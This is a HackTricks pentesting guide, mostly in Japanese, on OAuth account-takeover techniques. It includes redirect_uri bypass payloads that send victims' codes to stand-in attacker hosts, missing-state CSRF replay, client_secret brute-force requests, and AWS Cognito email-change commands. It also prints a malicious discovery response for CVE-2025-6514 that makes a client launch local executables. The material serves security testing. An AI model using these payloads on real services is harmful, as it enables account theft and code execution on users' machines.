OAuth to Account takeover
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Basic Information
OAuthはいくつかのバージョンがあり、基礎的な情報はOAuth 2.0 documentationで参照できます。本章は主に広く使われているOAuth 2.0 authorization code grant typeに焦点を当て、あるアプリケーションが別のアプリケーション(authorization server)上のユーザーのアカウントにアクセスしたり操作を行ったりできるようにする認可フレームワークを説明します。
仮にあなたの全てのソーシャルメディアの投稿(非公開のものも含む)を表示するためのサイトとして https://example.com があるとします。この目的のために OAuth 2.0 が使われます。https://example.com はあなたのソーシャルメディア投稿へのアクセス許可を求めます。その結果、https://socialmedia.com 上に同意画面が表示され、要求されている権限と要求を行っている開発者が示されます。あなたが許可すると、https://example.com はあなたに代わって投稿にアクセスできるようになります。
OAuth 2.0 フレームワーク内の以下の構成要素を理解することが重要です:
- resource owner: あなた、つまりリソース(例: ソーシャルメディアアカウントの投稿)へのアクセスを許可するユーザー/主体。
- resource server: アプリケーションが
access tokenを取得した後に認証されたリクエストを扱うサーバ。例: https://socialmedia.com。 - client application:
resource ownerからの認可を求めるアプリケーション。例: https://example.com。 - authorization server:
resource ownerの認証と認可を受けてaccess tokensを発行するサーバ。例: https://socialmedia.com。 - client_id: アプリケーションの公開される一意の識別子。
- client_secret: アプリケーションとauthorization serverだけが知る機密キーで、
access_tokensを取得するために使われる。 - response_type:
codeのように、要求するトークンの種類を指定する値。 - scope:
client applicationがresource ownerに対して要求するアクセスの範囲。 - redirect_uri: 認可後にユーザーがリダイレクトされるURL。通常は事前に登録されたリダイレクトURLと一致する必要がある。
- state: ユーザーがauthorization serverへリダイレクトされて戻る間のデータを保持するためのパラメータ。一意性が重要で、CSRF保護の仕組みとして機能する。
- grant_type: グラントタイプおよび返されるトークンの種類を示すパラメータ。
- code: authorization serverからの認可コードで、client applicationが
client_idとclient_secretとともにaccess_tokenを取得するために使用する。 - access_token:
client applicationがresource ownerに代わってAPIリクエストを行うために使うトークン。 - refresh_token: ユーザーに再度プロンプトすることなく新しい
access_tokenを取得できるようにする。
Flow
実際の OAuth フローは次のように進みます:
- あなたは https://example.com にアクセスし、「Integrate with Social Media」ボタンをクリックします。
- サイトは次に https://socialmedia.com に対して、https://example.com のアプリがあなたの投稿にアクセスする許可を求めるリクエストを送ります。リクエストは次のように構成されています:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 次に同意ページが表示されます。
- 承認すると、Social Mediaは
redirect_uriにcodeとstateパラメータを含むレスポンスを送信します:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com はこの
codeをclient_idとclient_secretとともに使用して、あなたに代わってaccess_tokenを取得するためのサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Finally, the process concludes as https://example.com employs your
access_tokento make an API call to Social Media to access
脆弱性
Open redirect_uri
Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.
Typical attack workflow:
- Craft
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackand send it to the victim. - The victim authenticates and approves the scopes.
- The IdP redirects to
attacker.tld/callback?code=<victim-code>&state=...where the attacker logs the request and immediately exchanges the code.
Common validation bugs to probe:
- No validation – any absolute URL is accepted, resulting in instant code theft.
- Weak substring/regex checks on the host – bypass with lookalikes such as
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, ormatch.com@evil.com. - IDN homograph mismatches – validation happens on the punycode form (
xn--), but the browser redirects to the Unicode domain controlled by the attacker. - Arbitrary paths on an allowed host – pointing
redirect_urito/openredirect?next=https://attacker.tldor any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript. - Directory constraints without normalization – patterns like
/oauth/*can be bypassed with/oauth/../anything. - Wildcard subdomains – accepting
*.example.commeans any takeover (dangling DNS, S3 bucket, etc.) immediately yields a valid callback. - Non-HTTPS callbacks – letting
http://URIs through gives network attackers (Wi-Fi, corporate proxy) the opportunity to snatch the code in transit.
Also review auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) and the OpenID discovery document (/.well-known/openid-configuration) for additional endpoints that might inherit the same validation bugs.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Locking redirect_uri to “owned/first-party domains” doesn’t help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:
- Start a legitimate flow to mint a pre-token (e.g., an
etokenin a multi-step Accounts Center/FXAuth flow). - Send the victim an authorization URL that sets the allowlisted domain as
redirect_uri/base_uribut pointsnext/path into an attacker-controlled namespace (e.g.,https://apps.facebook.com/<attacker_app>). - After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (
token,blob, codes, etc.). - JavaScript on that page reads
window.locationand exfiltrates the values despite the domain being “trusted.” - Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
リダイレクト実装における XSS
この bug bounty レポート https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html に記載されているように、ユーザが認証した後にサーバのレスポンスに redirect URL が反映される 可能性があり、XSS に脆弱 となることがあります。テスト用の可能な payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - state パラメータの不適切な処理
state パラメータは Authorization Code フローの CSRF トークンです:クライアントはブラウザごとに暗号学的にランダムな値を生成し、そのブラウザだけが読める場所(cookie、local storage など)に保存し、認可リクエストで送信し、同じ値が返らない応答は拒否しなければなりません。値が静的、予測可能、任意、またはユーザーのセッションに紐付いていない場合、攻撃者は自分の OAuth フローを完了して最終的な ?code= リクエストを傍受(送信はせずに保存)し、後で被害者のブラウザにそのリクエストを再生させて被害者アカウントを攻撃者の IdP プロファイルに紐付けることができます。
リプレイのパターンは常に同じです:
- 攻撃者は自分のアカウントで IdP に認証し、最後のリダイレクトに含まれる
code(および任意のstate)を傍受する。 - そのリクエストを破棄して URL を保持し、後で任意の CSRF 原始(リンク、iframe、自動送信フォームなど)を悪用して被害者ブラウザにその URL を読み込ませる。
- クライアントが
stateを強制しない場合、アプリケーションは攻撃者の認可結果を取り込み、攻撃者を被害者のアプリアカウントにログインさせる。
テスト時の state 取り扱いに関する実用的なチェックリスト:
- Missing
stateentirely – パラメータがまったく存在しない場合、ログイン全体が CSRFable になる。 statenot required – 初期リクエストからstateを削除する;IdP がそれでもクライアントが受け入れるコードを発行するなら、防御はオプトインになっている。- Returned
statenot validated – レスポンス内の値を改ざんする(Burp、MITM proxy を使用)。不一致の値を受け入れるなら、保存されたトークンは比較されていないことを意味する。 - Predictable or purely data-driven
state– 多くのアプリはリダイレクトパスや JSON ブロブをランダム要素を混ぜずにstateに詰め込み、攻撃者が有効な値を推測してフローを再生できるようにしている。常にデータをエンコードする前に強いランダム値を前後に付けること。 statefixation – アプリがユーザーにstate値の供給を許し(例:細工した authorization URL 経由)フロー全体でそれを再利用する場合、攻撃者は既知の値を固定して複数の被害者に再利用できる。
PKCE は(特に public clients に対して)認可コードを code verifier に紐付けることで state を補完できますが、web クライアントは依然として cross-user CSRF/アカウント紐付けのバグを防ぐために state を追跡する必要があります。
Pre Account Takeover
- Without Email Verification on Account Creation: 攻撃者は被害者のメールを使って事前にアカウントを作成できる。後で被害者がサードパーティのサービスでログインすると、アプリケーションが誤ってこのサードパーティアカウントを攻撃者の事前作成アカウントに紐付け、無許可のアクセスを招く可能性がある。
- Exploiting Lax OAuth Email Verification: 攻撃者はメールを検証しない OAuth サービスを悪用して自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することができる。この手法も同様に不正アクセスのリスクを生む(1と同様だが別のベクター)。
Disclosure of Secrets
client_id は意図的に公開されるものですが、client_secret はエンドユーザーが回収できてはいけません。mobile APKs、desktop clients、single-page apps に秘密を埋め込む Authorization Code の実装は、その資格情報をパッケージをダウンロードできる誰にでも渡してしまいます。公開クライアントを確認する際は常に以下を行ってください:
- APK/IPA、desktop installer、または Electron app を展開して
client_secret、JSON にデコードされる Base64 ブロブ、またはハードコーディングされた OAuth エンドポイントを grep する。 - バンドルされた設定ファイル(plist、JSON、XML)や逆コンパイルした文字列をレビューしてクライアント認証情報を探す。
攻撃者が一度シークレットを抽出すれば、弱い redirect_uri、ログなどから任意の被害者の認可 code を盗み出し、正規のアプリを介さずに /token を叩いて access/refresh token を独自に発行できるだけです。公開/ネイティブクライアントは 秘密を保持できないものとして扱う — 代わりに静的なシークレットの代わりにインスタンスごとの code verifier を所有していることを示す PKCE (RFC 7636) を利用するべきです。テスト中は PKCE が必須かどうか、またバックエンドが client_secret または 有効な code_verifier のいずれかを欠くトークン交換を実際に拒否するかを確認してください。
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
クライアントが code and state を取得し、それらが location.href や document.referrer に表示されて第三者へ転送されると、これらは leak します。よくあるパターンは次の2つです:
- Classic Referer leak: OAuth リダイレクト後、URL に
?code=&state=が残るようなナビゲーションは、それらを CDN/analytics/ads に送信される Referer ヘッダーに含めてしまいます。 - Telemetry/analytics confused deputy: 一部の SDK(pixels/JS loggers)は
postMessageイベントに反応し、メッセージで渡された token を使って現在のlocation.href/referrerをバックエンド API に送信します。攻撃者がそのフローに自分の token を注入できれば(例:攻撃者が制御する postMessage リレー経由)、後で SDK の API リクエスト履歴/ログを読み、そこに埋め込まれた被害者の OAuth アーティファクトを回収できます。
Access Token Stored in Browser History
Authorization Code grant の核心的保証は、access tokens がリソース所有者のブラウザに届かないことです。実装がクライアント側で tokens を leak すると、どんな小さなバグ(XSS、Referer leak、プロキシのログ記録)でも即座にアカウント乗っ取りにつながります。常に次を確認してください:
- Tokens in URLs –
access_tokenがクエリやフラグメントに現れると、ブラウザ履歴、サーバーログ、analytics、そして第三者に送られる Referer ヘッダーに残ります。 - Tokens transiting untrusted middleboxes – HTTP で返したりデバッグ/企業プロキシを経由させると、ネットワーク上の観測者が直接キャプチャできます。
- Tokens stored in JavaScript state – React/Vue のストア、グローバル変数、シリアライズされた JSON ブロブは同一オリジン上のすべてのスクリプト(XSS ペイロードや悪意ある拡張機能を含む)にトークンを露出します。
- Tokens persisted in Web Storage –
localStorage/sessionStorageに保存されたトークンは、共有デバイスでのログアウト後も長期間残り、スクリプトからアクセス可能です。
これらのいずれかの発見は、通常は「低」深刻度のバグ(CSP bypass や DOM XSS など)を、攻撃者が漏洩した bearer token を読み出して再利用できるため完全な API 奪取に昇格させます。
Everlasting Authorization Code
Authorization codes は 短命で、単一使用で、replay を考慮した ものでなければなりません。フローを評価する際は、code を取得して次を試してください:
- Test the lifetime – RFC 6749 は分単位を推奨しています(時間ではなく)。5~10 分後に code を交換してみてください。まだ有効であれば、漏洩した code の露出ウィンドウが長すぎます。
- Test sequential reuse – 同じ
codeを2回送信してみてください。2 回目のリクエストで別のトークンが得られるなら、攻撃者はセッションを無限にクローンできます。 - Test concurrent redemption/race conditions – トークンリクエストを並列で2回発行します(Burp intruder、turbo intruder 等)。弱い発行者は両方に発行することがあります。
- Observe replay handling – 再利用試行は単に失敗するだけでなく、その code から既に発行されたトークンを取り消すべきです。そうでないと、replay を検出しても最初のトークンが有効なまま残ります。
replay に寛容な code を redirect_uri やログ記録のバグと組み合わせると、被害者が正規ログインを完了した後でも永続的にアカウントにアクセスできます。
Authorization/Refresh Token not bound to client
もし authorization code を入手してそれを別の client/app に対して交換(redeem)できるなら、他のアカウントを takeover できます。弱いバインディングをテストする方法:
- app A 用に取得した
codeを app B の token endpoint に送ってみる;それでもトークンが返るなら audience binding が破綻しています。 - 自身の client ID に限定されるべき first-party のトークン発行エンドポイントを試す;もしコードだけを検証して任意の
state/app_idを受け入れるなら、実質的に authorization-code swap を行いより権限の高い first-party トークンを鋳造できます。 - client バインディングが nonce/redirect URI の不一致を無視するか確認する。エラーページでも SDK を読み込み
location.hrefをログする場合、Referer/telemetry の漏洩と組み合わせてコードを盗み、別のクライアントで交換できます。
code → token を交換するエンドポイントは必ず発行元クライアント、redirect URI、nonce を検証しなければなりません。そうでないと、どのアプリから盗んだ code でも first-party access token にアップグレードできます。
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
このバウンティレポート(https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/)では、AWS Cognito がユーザに返す token にユーザーデータを書き換える十分な権限が含まれている可能性があることが示されています。したがって、もし別のユーザのメールアドレスに change the user email できる操作があれば、他人のアカウントを take over できる可能性があります。
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
mentioned in this writeup にあるように、token を受け取ることを期待する(code ではなく)OAuth フローは、その token がアプリに帰属しているかどうかをチェックしていない場合、脆弱になり得ます。
これは、攻撃者が自分のアプリで OAuth をサポートするアプリケーション(例えば Facebook でのログイン)を作成し、被害者が攻撃者のアプリで Facebook にログインすると、攻撃者はそのアプリに渡されたユーザの OAuth token を取得して、被害者の user token を使って被害者側の OAuth アプリにログインできてしまう可能性があるためです。
Caution
したがって、攻撃者がユーザを自分の OAuth アプリにログインさせることに成功すると、token を期待し、その token が自分の app ID に付与されたものかを検証していないアプリでは、被害者のアカウントを乗っ取ることが可能になります。
Two links & cookie
this writeup によると、victim に returnUrl が攻撃者のホストを指すページを開かせることが可能で、その情報は cookie(RU)に保存され、後のステップで prompt が表示されてユーザにその攻撃者ホストへのアクセスを許可するか尋ねるようになる、という挙動が報告されています。
この prompt を回避するために、returnUrl を使って RU cookie を設定する OAuth フローを開始するタブを開き、prompt が表示される前にそのタブを閉じ、該当値のない新しいタブを開く、という手法がありました。すると、prompt は攻撃者ホストについて通知しませんが、cookie は攻撃者ホストに設定されているため、リダイレクト時に token が攻撃者ホストに送信されます。
Prompt Interaction Bypass
this video で説明されているように、一部の OAuth 実装では GET パラメータの prompt を None(&prompt=none)として指定することで、ユーザが既にプラットフォームにログインしている場合にウェブ上の確認 prompt を表示させないようにできる場合があります。
response_mode
explained in this video にあるように、最終的な URL 内で code をどこで受け取りたいかを示すために response_mode パラメータを指定できることがあります:
response_mode=query-> コードは GET パラメータ内に提供されます:?code=2397rf3gu93fresponse_mode=fragment-> コードは URL のフラグメントパラメータ内に提供されます:#code=2397rf3gu93fresponse_mode=form_post-> コードはcodeという名前の input を持つ POST フォーム内で提供されますresponse_mode=web_message-> コードは post message で送信されます:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs は clickjacking の理想的なターゲットです: フレーム化が可能であれば、攻撃者はカスタムのグラフィックを重ね、本物のボタンを隠し、ユーザを騙して危険なスコープの承認やアカウント連携を行わせることができます。PoC を作る際のポイント:
- IdP の authorization URL を
<iframe sandbox="allow-forms allow-scripts allow-same-origin">内に読み込む。 - fake ボタンと隠れた Allow/Approve コントロールを整列させるために絶対位置指定や不透明度のトリックを使う。
- オプションでパラメータ(scopes, redirect URI)を事前にセットしておき、盗んだ承認が即座に攻撃者へ利益をもたらすようにする。
テスト中は、IdP ページが X-Frame-Options: DENY/SAMEORIGIN または制限的な Content-Security-Policy: frame-ancestors 'none' を発行しているかを確認してください。どちらも存在しない場合は、NCC Group’s clickjacking PoC generator のようなツールでリスクを実証し、被害者がどれほど簡単に攻撃者のアプリを承認してしまうかを記録してください。追加のペイロード案は Clickjacking を参照してください。
OAuth ROPC flow - 2 FA bypass
this blog post によれば、これは username と password で OAuth にログインできるフローです。この単純なフローでユーザが実行できるすべてのアクションにアクセスできる token が返されると、その token によって 2FA をバイパスできる可能性があります。
ATO on web page redirecting based on open redirect to referrer
この blogpost は、referrer の値を基にした open redirect を悪用して OAuth を用いた ATO が可能だった事例を説明しています。攻撃の流れは次の通りです:
- 被害者が攻撃者のウェブページにアクセスする
- 被害者は悪意のあるリンクを開き、opener が
response_type=id_token,code&prompt=noneを追加パラメータとして使用して Google OAuth フローを開始する(referrer は攻撃者のウェブサイトになる) - provider が被害者を認可した後、opener は
redirect_uriパラメータの値(被害者のウェブ)に 30X コードで戻すが、この時 referer に攻撃者のサイトが残る - 被害者のウェブサイトは referrer に基づいて open redirect をトリガー し、被害者を攻撃者サイトへリダイレクトする。
respose_typeがid_token,codeだったため、code は URL のフラグメントとして攻撃者に送られ、攻撃者は被害者の Google を介したアカウントを乗っ取ることができる。
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration は、一見目立たないが重大なセキュリティベクタ、特に SSRF を誘発する可能性があるエンドポイントです。このエンドポイントは、client applications に関する情報(機密性のある URL を含む)を OAuth サーバに渡すために使われます。
主なポイント:
- Dynamic Client Registration は多くの場合
/registerにマップされ、client_name、client_secret、redirect_uris、ロゴや JSON Web Key Sets (JWKs) の URL を POST で受け取ります。 - この機能は RFC7591 や OpenID Connect Registration 1.0 に準拠しており、SSRF に脆弱になり得るパラメータを含みます。
- 登録プロセスは以下のような形でサーバを SSRF に晒す可能性があります:
logo_uri: クライアントアプリのロゴの URL。サーバがこれをフェッチすると SSRF を誘発したり、URL の扱いが不適切だと XSS を招くことがある。jwks_uri: クライアントの JWK ドキュメントへの URL。悪意ある構成だとサーバが攻撃者管理下のサーバへアウトバウンドリクエストを行う可能性がある。sector_identifier_uri:redirect_urisの JSON 配列を参照する URI。サーバがこれを取得すると SSRF の機会が生じる。request_uris: クライアントの許可された request URI の一覧。サーバがこれらを認可プロセスの開始時に取得する場合、悪用され得る。
エクスプロイト戦略:
logo_uri、jwks_uri、sector_identifier_uriのようなパラメータに悪意ある URL を入れて新しい client を登録することで SSRF を誘発できる。request_urisを介した直接的な悪用はホワイトリスト等で緩和されていることがあるが、事前登録された攻撃者管理下のrequest_uriを供給することで認可段階で SSRF を発生させられる場合がある。
OAuth/OIDC Discovery URL Abuse & OS Command Execution
CVE-2025-6514 に関する研究(mcp-remote クライアント、例えば Claude Desktop、Cursor、Windsurf に影響)では、dynamic OAuth discovery がクライアントが IdP メタデータをそのまま OS に渡す場合に RCE のプリミティブになり得ることが示されています。リモート MCP サーバは discovery 交換(/.well-known/openid-configuration または任意のメタデータ RPC)中に攻撃者制御下の authorization_endpoint を返し、mcp-remote ≤0.1.15 は受け取った文字列をそのままシステムの URL ハンドラ(start, open, xdg-open など)で呼び出したため、OS がサポートする任意の scheme/path がローカルで実行されてしまいました。
Attack workflow
- デスクトップエージェントを敵対的な MCP/OAuth サーバに向ける(
npx mcp-remote https://evil)。エージェントは401とメタデータを受け取る。 - サーバは次のような JSON を返す:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- クライアントは供給された URI の OS ハンドラを起動します。Windows は
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."のようなペイロードを受け入れます;macOS/Linux はfile:///Applications/Calculator.app/...や登録されていればcmd://bash -lc '<payload>'のようなカスタムスキームも受け入れます。 - これはユーザー操作の前に発生するため、単にクライアントを攻撃者サーバーと通信するよう設定するだけでコード実行が発生します。
テスト方法
- discovery を HTTP(S) 経由で行い、返されたエンドポイントをローカルで開く任意の OAuth 対応の desktop/agent(Electron apps、CLI helpers、thick clients)をターゲットにします。
- discovery レスポンスを傍受するかホストし、
authorization_endpoint、device_authorization_endpoint、または類似のフィールドをfile://、cmd://、UNC パス、その他危険なスキームに置き換えます。 - クライアントがスキーム/ホストを検証するか確認します。検証がなければユーザーコンテキストで即時実行され、問題が立証されます。
- 異なるスキームで繰り返し、攻撃面を全体的にマッピングします(例:
ms-excel:、data:text/html,、カスタムプロトコルハンドラ)およびクロスプラットフォームの到達範囲を示します。
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
OAuth では sub フィールドがユーザーを一意に識別しますが、その形式は Authorization Server によって異なります。ユーザー識別を標準化するために、一部のクライアントは email や user handle を使用します。しかし、これはリスクを伴います:
- 一部の Authorization Server はこれらのプロパティ(例えば email)が不変であることを保証していません。
- 特定の実装、例えば “Login with Microsoft” では、クライアントが email フィールドに依存しており、その email は Entra ID 上でユーザーが制御可能 で検証されていません。
- 攻撃者は独自の Azure AD 組織(例: doyensectestorg)を作成し、それを用いて Microsoft login を行うことでこれを悪用できます。
- Object ID(sub に保存される)は不変で安全である一方、可変の email フィールドに依存することはアカウント乗っ取りを可能にする場合があります(例: victim@gmail.com の乗っ取り)。
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.
Redirect Scheme Hijacking
モバイルの OAuth 実装では、アプリは Authorization Codes を受け取るために custom URI schemes を使用します。しかし、複数のアプリが同じスキームをデバイス上に登録できるため、正当なクライアントだけが redirect URI を制御しているという前提は成立しません。例えば Android では、com.example.app:// のような Intent URI はスキームやアプリの intent-filter に定義されたフィルタに基づいて捕捉されます。Android の intent 解決は幅広くなることがあり(特にスキームのみが指定されている場合)、攻撃者は巧妙に作成した intent filter を持つ悪意あるアプリを登録して authorization code をハイジャックできます。これは、複数のアプリが intent を処理可能である場合のユーザー操作による乗っ取り、あるいは Ostorlab の評価フローチャートで示されているような過度に特定的なフィルタを悪用するバイパス手法を通じて、アカウント乗っ取りを可能にすることがあります。
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


